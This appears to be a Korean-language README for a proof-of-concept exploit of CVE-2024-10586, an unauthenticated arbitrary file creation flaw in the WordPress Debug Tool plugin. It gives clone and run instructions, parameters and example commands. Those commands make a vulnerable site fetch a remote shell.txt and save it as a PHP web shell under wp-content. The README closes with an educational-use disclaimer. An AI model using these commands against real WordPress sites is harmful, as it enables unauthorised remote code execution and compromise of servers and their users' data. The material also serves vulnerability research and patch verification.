취약점 정보

설명 WordPress용 Debug Tool 플러그인은 2.2 버전까지 모든 버전에서 dbt_pull_image() 함수에 대한 기능 검사 누락과 파일 유형 검증 부재로 인해 임의 파일 생성에 취약합니다.
이로 인해 인증되지 않은 공격자가 .php 파일과 같은 임의 파일을 생성하여 원격 코드 실행에 악용할 수 있습니다.

CVE ID

CVE-2024-10586

스크립트 사용법

필수 조건

시스템에 Python 3.x가 설치되어 있어야 합니다.
필요한 종속성 설치: pip install requests

실행 방법

GitHub에서 리포지토리를 클론합니다:

git clone https://github.com/Nxploited/CVE-2024-10586-Poc
cd CVE-2024-10586-Poc

다음 명령어로 스크립트를 실행합니다: python CVE-2024-10586.py -u -r -p

매개변수

-u, --url: WordPress 사이트의 기본 URL (예: http://example.com/wordpress).
-r, --remote: 페이로드 소스로 사용할 원격 파일의 URL.
-p, --path: 선택 사항. 셸이 저장될 경로. 기본값은 /opt/lampp/htdocs/wordpress/wp-content/Nxploit.php.

예제 명령어

python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

사용 예제

python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

usage: CVE-2024-10586.py [-h] -u URL -r REMOTE [-p PATH]

Send a POST request to WordPress admin-ajax.php.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The base URL of the WordPress site.
  -r REMOTE, --remote REMOTE
                        The remote URL to use in the 'source' parameter.
  -p PATH, --path PATH  The file path to use in the 'missed' parameter. Defaults to '/opt/lampp/htdocs/wordpress/wp-content/Nxploit.php'.

면책 조항

이 스크립트는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고, 소유하고 있거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오. 제작자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

CVE-2024-10586-Poc

인기